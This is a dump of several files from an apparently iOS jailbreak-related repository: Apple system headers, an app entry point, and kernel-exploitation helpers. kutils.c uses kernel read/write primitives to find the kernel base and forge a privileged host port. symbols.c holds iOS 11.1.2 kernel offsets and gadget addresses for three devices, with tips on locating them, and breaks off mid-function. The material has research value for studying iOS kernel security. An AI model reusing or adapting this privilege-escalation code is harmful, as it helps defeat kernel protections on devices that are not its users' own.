/Files/kutils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | 6 | #include "kutils.h" 7 | #include "kmem.h" 8 | #include "find_port.h" 9 | #include "symbols.h" 10 | 11 | uint64_t cached_task_self_addr = 0; 12 | uint64_t task_self_addr() { 13 | if (cached_task_self_addr == 0) { 14 | cached_task_self_addr = find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND); 15 | printf("task self: 0x%llx\n", cached_task_self_addr); 16 | } 17 | return cached_task_self_addr; 18 | } 19 | 20 | uint64_t ipc_space_kernel() { 21 | return rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 22 | } 23 | 24 | uint64_t current_thread() { 25 | uint64_t thread_port = find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND); 26 | return rk64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 27 | } 28 | 29 | uint64_t find_kernel_base() { 30 | uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND); 31 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 32 | 33 | uint64_t base = realhost & ~0xfffULL; 34 | // walk down to find the magic: 35 | for (int i = 0; i < 0x10000; i++) { 36 | if (rk32(base) == 0xfeedfacf) { 37 | return base; 38 | } 39 | base -= 0x1000; 40 | } 41 | return 0; 42 | } 43 | mach_port_t fake_host_priv_port = MACH_PORT_NULL; 44 | 45 | // build a fake host priv port 46 | mach_port_t fake_host_priv() { 47 | if (fake_host_priv_port != MACH_PORT_NULL) { 48 | return fake_host_priv_port; 49 | } 50 | // get the address of realhost: 51 | uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND); 52 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 53 | 54 | // allocate a port 55 | mach_port_t port = MACH_PORT_NULL; 56 | kern_return_t err; 57 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 58 | if (err != KERN_SUCCESS) { 59 | printf("failed to allocate port\n"); 60 | return MACH_PORT_NULL; 61 | } 62 | 63 | // get a send right 64 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 65 | 66 | // locate the port 67 | uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND); 68 | 69 | // change the type of the port 70 | #define IKOT_HOST_PRIV 4 71 | #define IO_ACTIVE 0x80000000 72 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV); 73 | 74 | // change the space of the port 75 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel()); 76 | 77 | // set the kobject 78 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost); 79 | 80 | fake_host_priv_port = port; 81 | 82 | return port; 83 | } 84 | -------------------------------------------------------------------------------- /Files/kutils.h: -------------------------------------------------------------------------------- 1 | #ifndef kutils_h 2 | #define kutils_h 3 | 4 | #include 5 | 6 | uint64_t task_self_addr(void); 7 | uint64_t ipc_space_kernel(void); 8 | uint64_t find_kernel_base(void); 9 | 10 | uint64_t current_thread(void); 11 | 12 | mach_port_t fake_host_priv(void); 13 | 14 | #endif /* kutils_h */ 15 | -------------------------------------------------------------------------------- /Files/libproc.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2006, 2007 Apple Inc. All rights reserved. 3 | * 4 | * @APPLE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. Please obtain a copy of the License at 10 | * http://www.opensource.apple.com/apsl/ and read it before using this 11 | * file. 12 | * 13 | * The Original Code and all software distributed under the License are 14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 18 | * Please see the License for the specific language governing rights and 19 | * limitations under the License. 20 | * 21 | * @APPLE_LICENSE_HEADER_END@ 22 | */ 23 | #ifndef _LIBPROC_H_ 24 | #define _LIBPROC_H_ 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | #include "sys/proc_info.h" 34 | 35 | /* 36 | * This header file contains private interfaces to obtain process information. 37 | * These interfaces are subject to change in future releases. 38 | */ 39 | 40 | /*! 41 | @define PROC_LISTPIDSPATH_PATH_IS_VOLUME 42 | @discussion This flag indicates that all processes that hold open 43 | file references on the volume associated with the specified 44 | path should be returned. 45 | */ 46 | #define PROC_LISTPIDSPATH_PATH_IS_VOLUME 1 47 | 48 | 49 | /*! 50 | @define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY 51 | @discussion This flag indicates that file references that were opened 52 | with the O_EVTONLY flag should be excluded from the matching 53 | criteria. 54 | */ 55 | #define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY 2 56 | 57 | __BEGIN_DECLS 58 | 59 | int proc_listpids(uint32_t type, uint32_t typeinfo, void *buffer, int buffersize); 60 | 61 | /*! 62 | @function proc_listpidspath 63 | @discussion A function which will search through the current 64 | processes looking for open file references which match 65 | a specified path or volume. 66 | @param type types of processes to be searched (see proc_listpids) 67 | @param typeinfo adjunct information for type 68 | @param path file or volume path 69 | @param pathflags flags to control which files should be considered 70 | during the process search. 71 | @param buffer a C array of int-sized values to be filled with 72 | process identifiers that hold an open file reference 73 | matching the specified path or volume. Pass NULL to 74 | obtain the minimum buffer size needed to hold the 75 | currently active processes. 76 | @param buffersize the size (in bytes) of the provided buffer. 77 | @result the number of bytes of data returned in the provided buffer; 78 | -1 if an error was encountered; 79 | */ 80 | int proc_listpidspath(uint32_t type, 81 | uint32_t typeinfo, 82 | const char *path, 83 | uint32_t pathflags, 84 | void *buffer, 85 | int buffersize); 86 | 87 | int proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize); 88 | int proc_pidfdinfo(int pid, int fd, int flavor, void * buffer, int buffersize); 89 | int proc_name(int pid, void * buffer, uint32_t buffersize); 90 | int proc_regionfilename(int pid, uint64_t address, void * buffer, uint32_t buffersize); 91 | int proc_kmsgbuf(void * buffer, uint32_t buffersize); 92 | int proc_pidpath(int pid, void * buffer, uint32_t buffersize); 93 | int proc_libversion(int *major, int * minor); 94 | /* 95 | * A process can use the following api to set its own process control 96 | * state on resoure starvation. The argument can have one of the PROC_SETPC_XX values 97 | */ 98 | #define PROC_SETPC_NONE 0 99 | #define PROC_SETPC_THROTTLEMEM 1 100 | #define PROC_SETPC_SUSPEND 2 101 | #define PROC_SETPC_TERMINATE 3 102 | 103 | int proc_setpcontrol(const int control); 104 | __END_DECLS 105 | 106 | #endif /*_LIBPROC_H_ */ 107 | -------------------------------------------------------------------------------- /Files/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // Files 4 | // 5 | // Created by Steven Troughton-Smith on 11/06/2016. 6 | // Copyright © 2016 High Caffeine Content. All rights reserved. 7 | // 8 | 9 | #import 10 | #import "AppDelegate.h" 11 | 12 | int main(int argc, char * argv[]) { 13 | @autoreleasepool { 14 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Files/net/route.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2000-2008 Apple Inc. All rights reserved. 3 | * 4 | * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. The rights granted to you under the License 10 | * may not be used to create, or enable the creation or redistribution of, 11 | * unlawful or unlicensed copies of an Apple operating system, or to 12 | * circumvent, violate, or enable the circumvention or violation of, any 13 | * terms of an Apple operating system software license agreement. 14 | * 15 | * Please obtain a copy of the License at 16 | * http://www.opensource.apple.com/apsl/ and read it before using this file. 17 | * 18 | * The Original Code and all software distributed under the License are 19 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 20 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 21 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 22 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 23 | * Please see the License for the specific language governing rights and 24 | * limitations under the License. 25 | * 26 | * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ 27 | */ 28 | /* 29 | * Copyright (c) 1980, 1986, 1993 30 | * The Regents of the University of California. All rights reserved. 31 | * 32 | * Redistribution and use in source and binary forms, with or without 33 | * modification, are permitted provided that the following conditions 34 | * are met: 35 | * 1. Redistributions of source code must retain the above copyright 36 | * notice, this list of conditions and the following disclaimer. 37 | * 2. Redistributions in binary form must reproduce the above copyright 38 | * notice, this list of conditions and the following disclaimer in the 39 | * documentation and/or other materials provided with the distribution. 40 | * 3. All advertising materials mentioning features or use of this software 41 | * must display the following acknowledgement: 42 | * This product includes software developed by the University of 43 | * California, Berkeley and its contributors. 44 | * 4. Neither the name of the University nor the names of its contributors 45 | * may be used to endorse or promote products derived from this software 46 | * without specific prior written permission. 47 | * 48 | * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 49 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 50 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 51 | * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 52 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 53 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 54 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 55 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 56 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 57 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 58 | * SUCH DAMAGE. 59 | * 60 | * @(#)route.h 8.3 (Berkeley) 4/19/94 61 | * $FreeBSD: src/sys/net/route.h,v 1.36.2.1 2000/08/16 06:14:23 jayanth Exp $ 62 | */ 63 | 64 | #ifndef _NET_ROUTE_H_ 65 | #define _NET_ROUTE_H_ 66 | #include 67 | #include 68 | #include 69 | #include 70 | 71 | /* 72 | * Kernel resident routing tables. 73 | * 74 | * The routing tables are initialized when interface addresses 75 | * are set by making entries for all directly connected interfaces. 76 | */ 77 | 78 | /* 79 | * A route consists of a destination address and a reference 80 | * to a routing entry. These are often held by protocols 81 | * in their control blocks, e.g. inpcb. 82 | */ 83 | struct route; 84 | 85 | /* 86 | * These numbers are used by reliable protocols for determining 87 | * retransmission behavior and are included in the routing structure. 88 | */ 89 | struct rt_metrics { 90 | u_int32_t rmx_locks; /* Kernel must leave these values alone */ 91 | u_int32_t rmx_mtu; /* MTU for this path */ 92 | u_int32_t rmx_hopcount; /* max hops expected */ 93 | int32_t rmx_expire; /* lifetime for route, e.g. redirect */ 94 | u_int32_t rmx_recvpipe; /* inbound delay-bandwidth product */ 95 | u_int32_t rmx_sendpipe; /* outbound delay-bandwidth product */ 96 | u_int32_t rmx_ssthresh; /* outbound gateway buffer limit */ 97 | u_int32_t rmx_rtt; /* estimated round trip time */ 98 | u_int32_t rmx_rttvar; /* estimated rtt variance */ 99 | u_int32_t rmx_pksent; /* packets sent using this route */ 100 | u_int32_t rmx_filler[4]; /* will be used for T/TCP later */ 101 | }; 102 | 103 | /* 104 | * rmx_rtt and rmx_rttvar are stored as microseconds; 105 | */ 106 | #define RTM_RTTUNIT 1000000 /* units for rtt, rttvar, as units per sec */ 107 | 108 | /* 109 | * We distinguish between routes to hosts and routes to networks, 110 | * preferring the former if available. For each route we infer 111 | * the interface to use from the gateway address supplied when 112 | * the route was entered. Routes that forward packets through 113 | * gateways are marked so that the output routines know to address the 114 | * gateway rather than the ultimate destination. 115 | */ 116 | 117 | 118 | #define RTF_UP 0x1 /* route usable */ 119 | #define RTF_GATEWAY 0x2 /* destination is a gateway */ 120 | #define RTF_HOST 0x4 /* host entry (net otherwise) */ 121 | #define RTF_REJECT 0x8 /* host or net unreachable */ 122 | #define RTF_DYNAMIC 0x10 /* created dynamically (by redirect) */ 123 | #define RTF_MODIFIED 0x20 /* modified dynamically (by redirect) */ 124 | #define RTF_DONE 0x40 /* message confirmed */ 125 | #define RTF_DELCLONE 0x80 /* delete cloned route */ 126 | #define RTF_CLONING 0x100 /* generate new routes on use */ 127 | #define RTF_XRESOLVE 0x200 /* external daemon resolves name */ 128 | #define RTF_LLINFO 0x400 /* generated by link layer (e.g. ARP) */ 129 | #define RTF_STATIC 0x800 /* manually added */ 130 | #define RTF_BLACKHOLE 0x1000 /* just discard pkts (during updates) */ 131 | #define RTF_PROTO2 0x4000 /* protocol specific routing flag */ 132 | #define RTF_PROTO1 0x8000 /* protocol specific routing flag */ 133 | 134 | #define RTF_PRCLONING 0x10000 /* protocol requires cloning */ 135 | #define RTF_WASCLONED 0x20000 /* route generated through cloning */ 136 | #define RTF_PROTO3 0x40000 /* protocol specific routing flag */ 137 | /* 0x80000 unused */ 138 | #define RTF_PINNED 0x100000 /* future use */ 139 | #define RTF_LOCAL 0x200000 /* route represents a local address */ 140 | #define RTF_BROADCAST 0x400000 /* route represents a bcast address */ 141 | #define RTF_MULTICAST 0x800000 /* route represents a mcast address */ 142 | #define RTF_IFSCOPE 0x1000000 /* has valid interface scope */ 143 | #define RTF_CONDEMNED 0x2000000 /* defunct; no longer modifiable */ 144 | /* 0x4000000 and up unassigned */ 145 | 146 | /* 147 | * Routing statistics. 148 | */ 149 | struct rtstat { 150 | short rts_badredirect; /* bogus redirect calls */ 151 | short rts_dynamic; /* routes created by redirects */ 152 | short rts_newgateway; /* routes modified by redirects */ 153 | short rts_unreach; /* lookups which failed */ 154 | short rts_wildcard; /* lookups satisfied by a wildcard */ 155 | }; 156 | 157 | /* 158 | * Structures for routing messages. 159 | */ 160 | struct rt_msghdr { 161 | u_short rtm_msglen; /* to skip over non-understood messages */ 162 | u_char rtm_version; /* future binary compatibility */ 163 | u_char rtm_type; /* message type */ 164 | u_short rtm_index; /* index for associated ifp */ 165 | int rtm_flags; /* flags, incl. kern & message, e.g. DONE */ 166 | int rtm_addrs; /* bitmask identifying sockaddrs in msg */ 167 | pid_t rtm_pid; /* identify sender */ 168 | int rtm_seq; /* for sender to identify action */ 169 | int rtm_errno; /* why failed */ 170 | int rtm_use; /* from rtentry */ 171 | u_int32_t rtm_inits; /* which metrics we are initializing */ 172 | struct rt_metrics rtm_rmx; /* metrics themselves */ 173 | }; 174 | 175 | struct rt_msghdr2 { 176 | u_short rtm_msglen; /* to skip over non-understood messages */ 177 | u_char rtm_version; /* future binary compatibility */ 178 | u_char rtm_type; /* message type */ 179 | u_short rtm_index; /* index for associated ifp */ 180 | int rtm_flags; /* flags, incl. kern & message, e.g. DONE */ 181 | int rtm_addrs; /* bitmask identifying sockaddrs in msg */ 182 | int32_t rtm_refcnt; /* reference count */ 183 | int rtm_parentflags; /* flags of the parent route */ 184 | int rtm_reserved; /* reserved field set to 0 */ 185 | int rtm_use; /* from rtentry */ 186 | u_int32_t rtm_inits; /* which metrics we are initializing */ 187 | struct rt_metrics rtm_rmx; /* metrics themselves */ 188 | }; 189 | 190 | 191 | #define RTM_VERSION 5 /* Up the ante and ignore older versions */ 192 | 193 | /* 194 | * Message types. 195 | */ 196 | #define RTM_ADD 0x1 /* Add Route */ 197 | #define RTM_DELETE 0x2 /* Delete Route */ 198 | #define RTM_CHANGE 0x3 /* Change Metrics or flags */ 199 | #define RTM_GET 0x4 /* Report Metrics */ 200 | #define RTM_LOSING 0x5 /* Kernel Suspects Partitioning */ 201 | #define RTM_REDIRECT 0x6 /* Told to use different route */ 202 | #define RTM_MISS 0x7 /* Lookup failed on this address */ 203 | #define RTM_LOCK 0x8 /* fix specified metrics */ 204 | #define RTM_OLDADD 0x9 /* caused by SIOCADDRT */ 205 | #define RTM_OLDDEL 0xa /* caused by SIOCDELRT */ 206 | #define RTM_RESOLVE 0xb /* req to resolve dst to LL addr */ 207 | #define RTM_NEWADDR 0xc /* address being added to iface */ 208 | #define RTM_DELADDR 0xd /* address being removed from iface */ 209 | #define RTM_IFINFO 0xe /* iface going up/down etc. */ 210 | #define RTM_NEWMADDR 0xf /* mcast group membership being added to if */ 211 | #define RTM_DELMADDR 0x10 /* mcast group membership being deleted */ 212 | #define RTM_IFINFO2 0x12 /* */ 213 | #define RTM_NEWMADDR2 0x13 /* */ 214 | #define RTM_GET2 0x14 /* */ 215 | 216 | /* 217 | * Bitmask values for rtm_inits and rmx_locks. 218 | */ 219 | #define RTV_MTU 0x1 /* init or lock _mtu */ 220 | #define RTV_HOPCOUNT 0x2 /* init or lock _hopcount */ 221 | #define RTV_EXPIRE 0x4 /* init or lock _expire */ 222 | #define RTV_RPIPE 0x8 /* init or lock _recvpipe */ 223 | #define RTV_SPIPE 0x10 /* init or lock _sendpipe */ 224 | #define RTV_SSTHRESH 0x20 /* init or lock _ssthresh */ 225 | #define RTV_RTT 0x40 /* init or lock _rtt */ 226 | #define RTV_RTTVAR 0x80 /* init or lock _rttvar */ 227 | 228 | /* 229 | * Bitmask values for rtm_addrs. 230 | */ 231 | #define RTA_DST 0x1 /* destination sockaddr present */ 232 | #define RTA_GATEWAY 0x2 /* gateway sockaddr present */ 233 | #define RTA_NETMASK 0x4 /* netmask sockaddr present */ 234 | #define RTA_GENMASK 0x8 /* cloning mask sockaddr present */ 235 | #define RTA_IFP 0x10 /* interface name sockaddr present */ 236 | #define RTA_IFA 0x20 /* interface addr sockaddr present */ 237 | #define RTA_AUTHOR 0x40 /* sockaddr for author of redirect */ 238 | #define RTA_BRD 0x80 /* for NEWADDR, broadcast or p-p dest addr */ 239 | 240 | /* 241 | * Index offsets for sockaddr array for alternate internal encoding. 242 | */ 243 | #define RTAX_DST 0 /* destination sockaddr present */ 244 | #define RTAX_GATEWAY 1 /* gateway sockaddr present */ 245 | #define RTAX_NETMASK 2 /* netmask sockaddr present */ 246 | #define RTAX_GENMASK 3 /* cloning mask sockaddr present */ 247 | #define RTAX_IFP 4 /* interface name sockaddr present */ 248 | #define RTAX_IFA 5 /* interface addr sockaddr present */ 249 | #define RTAX_AUTHOR 6 /* sockaddr for author of redirect */ 250 | #define RTAX_BRD 7 /* for NEWADDR, broadcast or p-p dest addr */ 251 | #define RTAX_MAX 8 /* size of array to allocate */ 252 | 253 | struct rt_addrinfo { 254 | int rti_addrs; 255 | struct sockaddr *rti_info[RTAX_MAX]; 256 | }; 257 | 258 | struct route_cb { 259 | int ip_count; 260 | int ip6_count; 261 | int ipx_count; 262 | int ns_count; 263 | int iso_count; 264 | int any_count; 265 | }; 266 | 267 | 268 | 269 | #endif 270 | -------------------------------------------------------------------------------- /Files/symbols.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "symbols.h" 7 | #include "kmem.h" 8 | #include "kutils.h" 9 | 10 | // the offsets are unlikely to change between similar models and builds, but the symbol addresses will 11 | // the offsets are required to get the kernel r/w but the symbols aren't 12 | 13 | int* offsets = NULL; 14 | 15 | 16 | /* iOS 11.1.2 */ 17 | int kstruct_offsets_15B202[] = { 18 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 19 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 20 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 21 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 22 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 23 | 0x30, // KSTRUCT_OFFSET_TASK_PREV, 24 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE 25 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 26 | 27 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 28 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 29 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 30 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 31 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 32 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 33 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 34 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 35 | 36 | 0x10, // KSTRUCT_OFFSET_PROC_PID, 37 | 38 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 39 | 40 | 0x180, // KSTRUCT_OFFSET_THREAD_BOUND_PROCESSOR 41 | 0x188, // KSTRUCT_OFFSET_THREAD_LAST_PROCESSOR 42 | 0x190, // KSTRUCT_OFFSET_THREAD_CHOSEN_PROCESSOR 43 | 0x408, // KSTRUCT_OFFSET_THREAD_CONTEXT_DATA 44 | 0x410, // KSTRUCT_OFFSET_THREAD_UPCB 45 | 0x418, // KSTRUCT_OFFSET_THREAD_UNEON 46 | 0x420, // KSTRUCT_OFFSET_THREAD_KSTACKPTR 47 | 48 | 0x54, // KSTRUCT_OFFSET_PROCESSOR_CPU_ID 49 | 50 | 0x28, // KSTRUCT_OFFSET_CPU_DATA_EXCEPSTACKPTR 51 | 0X78, // KSTRUCT_OFFSET_CPU_DATA_CPU_PROCESSOR 52 | }; 53 | 54 | int koffset(enum kstruct_offset offset) { 55 | if (offsets == NULL) { 56 | printf("need to call symbols_init() prior to querying offsets\n"); 57 | return 0; 58 | } 59 | return offsets[offset]; 60 | } 61 | 62 | // this is the base of the kernel, not the kernelcache 63 | uint64_t kernel_base = 0; 64 | uint64_t* symbols = NULL; 65 | uint64_t kaslr_slide = 0; 66 | 67 | // ip7 68 | uint64_t ksymbols_iphone_7_15B202[] = { 69 | 0xfffffff0074d74cc, // KSYMBOL_OSARRAY_GET_META_CLASS, 70 | 0xfffffff007566454, // KSYMBOL_IOUSERCLIENT_GET_META_CLASS 71 | 0xfffffff007567bfc, // KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX 72 | 0xfffffff0073eb130, // KSYMBOL_CSBLOB_GET_CD_HASH 73 | 0xfffffff007101248, // KSYMBOL_KALLOC_EXTERNAL 74 | 0xfffffff007101278, // KSYMBOL_KFREE 75 | 0xfffffff0074d74d4, // KYSMBOL_RET 76 | 0xfffffff0074f11cc, // KSYMBOL_OSSERIALIZER_SERIALIZE, 77 | 0xfffffff00758c618, // KSYMBOL_KPRINTF 78 | 0xfffffff0074fc164, // KSYMBOL_UUID_COPY 79 | 0xfffffff0075b2000, // KSYMBOL_CPU_DATA_ENTRIES 80 | 0xfffffff0070cc1d4, // KSYMBOL_VALID_LINK_REGISTER 81 | 0xfffffff0070cc1ac, // KSYMBOL_X21_JOP_GADGET 82 | 0xfffffff0070cc474, // KSYMBOL_EXCEPTION_RETURN 83 | 0xfffffff0070cc42c, // KSYMBOL_THREAD_EXCEPTION_RETURN 84 | 0xfffffff0071e1998, // KSYMBOL_SET_MDSCR_EL1_GADGET 85 | 0xfffffff007439b20, // KSYMBOL_WRITE_SYSCALL_ENTRYPOINT // this is actually 1 instruction in to the entrypoint 86 | 0xfffffff0071de074, // KSYMBOL_EL1_HW_BP_INFINITE_LOOP 87 | 0xfffffff0071dea24, // KSYMBOL_SLEH_SYNC_EPILOG 88 | }; 89 | 90 | uint64_t ksymbols_ipod_touch_6g_15b202[] = { 91 | 0xFFFFFFF0074A4A4C, // KSYMBOL_OSARRAY_GET_META_CLASS, 92 | 0xFFFFFFF007533CF8, // KSYMBOL_IOUSERCLIENT_GET_META_CLASS 93 | 0xFFFFFFF0075354A0, // KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX 94 | 0xFFFFFFF0073B71E4, // KSYMBOL_CSBLOB_GET_CD_HASH 95 | 0xFFFFFFF0070C8710, // KSYMBOL_KALLOC_EXTERNAL 96 | 0xFFFFFFF0070C8740, // KSYMBOL_KFREE 97 | 0xFFFFFFF0070C873C, // KYSMBOL_RET 98 | 0xFFFFFFF0074BE978, // KSYMBOL_OSSERIALIZER_SERIALIZE, 99 | 0xFFFFFFF007559FD0, // KSYMBOL_KPRINTF 100 | 0xFFFFFFF0074C9910, // KSYMBOL_UUID_COPY 101 | 0xFFFFFFF00757E000, // KSYMBOL_CPU_DATA_ENTRIES // 0x6000 in to the data segment 102 | 0xFFFFFFF00709818C, // KSYMBOL_VALID_LINK_REGISTER // look for reference to FAR_EL1 (Fault Address Register (EL1)) 103 | 0xFFFFFFF007098164, // KSYMBOL_X21_JOP_GADGET // look for references to FPCR (Floating-point Control Register) 104 | 0xFFFFFFF007098434, // KSYMBOL_EXCEPTION_RETURN // look for references to Set PSTATE.DAIF [--IF] 105 | 0xFFFFFFF0070983E4, // KSYMBOL_THREAD_EXCEPTION_RETURN // a bit before exception_return 106 | 0xFFFFFFF0071AD144, // KSYMBOL_SET_MDSCR_EL1_GADGET // look for references to MDSCR_EL1 107 | 0xFFFFFFF0074062F4, // KSYMBOL_WRITE_SYSCALL_ENTRYPOINT // look for references to enosys to find the syscall table (this is actually 1 instruction in to the entrypoint) 108 | 0xFFFFFFF0071A90C0, // KSYMBOL_EL1_HW_BP_INFINITE_LOOP // look for xrefs to "ESR (0x%x) for instruction trapped" and find switch case 49 109 | 0xFFFFFFF0071A9ABC, // KSYMBOL_SLEH_SYNC_EPILOG // look for xrefs to "Unsupported Class %u event code." 110 | }; 111 | 112 | uint64_t ksymbols_iphone_6s_15b202[] = { 113 | 0xFFFFFFF00748D548, // KSYMBOL_OSARRAY_GET_META_CLASS, 114 | 0xFFFFFFF00751C4D0, // KSYMBOL_IOUSERCLIENT_GET_META_CLASS 115 | 0xFFFFFFF00751DC78, // KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX 116 | 0xFFFFFFF0073A1054, // KSYMBOL_CSBLOB_GET_CD_HASH 117 | 0xFFFFFFF0070B8088, // KSYMBOL_KALLOC_EXTERNAL 118 | 0xFFFFFFF0070B80B8, // KSYMBOL_KFREE 119 | 0xFFFFFFF0070B80B4, // KYSMBOL_RET 120 | 0xFFFFFFF0074A7248, // KSYMBOL_OSSERIALIZER_SERIALIZE, 121 | 0xFFFFFFF0075426C4, // KSYMBOL_KPRINTF 122 | 0xFFFFFFF0074B21E0, // KSYMBOL_UUID_COPY 123 | 0xFFFFFFF007566000, // KSYMBOL_CPU_DATA_ENTRIES // 0x6000 in to the data segment 124 | 0xFFFFFFF00708818C, // KSYMBOL_VALID_LINK_REGISTER // look for reference to FAR_EL1 (Fault Address Register (EL1)) 125 | 0xFFFFFFF007088164, // KSYMBOL_X21_JOP_GADGET // look for references to FPCR (Floating-point Control Register) 126 | 0xFFFFFFF007088434, // KSYMBOL_EXCEPTION_RETURN // look for references to Set PSTATE.DAIF [--IF] 127 | 0xFFFFFFF0070883E4, // KSYMBOL_THREAD_EXCEPTION_RETURN // a bit before exception_return 128 | 0xFFFFFFF007197AB0, // KSYMBOL_SET_MDSCR_EL1_GADGET // look for references to MDSCR_EL1 129 | 0xFFFFFFF0073EFB44, // KSYMBOL_WRITE_SYSCALL_ENTRYPOINT // look for references to enosys to find the syscall table (this is actually 1 instruction in to the entrypoint) 130 | 0xFFFFFFF0071941D8, // KSYMBOL_EL1_HW_BP_INFINITE_LOOP // look for xrefs to "ESR (0x%x) for instruction trapped" and find switch case 49 131 | 0xFFFFFFF007194BBC, // KSYMBOL_SLEH_SYNC_EPILOG // look for xrefs to "Unsupported Class %u event code." 132 | }; 133 | 134 | uint64_t ksym(enum ksymbol sym) { 135 | if (kernel_base == 0) { 136 | if (!have_kmem_read()) { 137 | printf("attempted to use symbols prior to gaining kernel read\n"); 138 | return 0; 139 | } 140 | kernel_base = find_kernel_base(); 141 | kaslr_slide = find_kernel_base() - 0xFFFFFFF007004000; 142 | } 143 | //return symbols[sym] + kernel_base; 144 | return symbols[sym] + kaslr_slide; 145 | } 146 | 147 | int have_syms = 0; 148 | int probably_have_correct_symbols() { 149 | return have_syms; 150 | } 151 | 152 | void offsets_init() { 153 | size_t size = 32; 154 | char build_id[size]; 155 | memset(build_id, 0, size); 156 | int err = sysctlbyname("kern.osversion", build_id, &size, NULL, 0); 157 | if (err == -1) { 158 | printf("failed to detect version (sysctlbyname failed\n"); 159 | return; 160 | } 161 | printf("build_id: %s\n", build_id); 162 | 163 | struct utsname u = {0}; 164 | uname(&u); 165 | 166 | printf("sysname: %s\n", u.sysname); 167 | printf("nodename: %s\n", u.nodename); 168 | printf("release: %s\n", u.release); 169 | 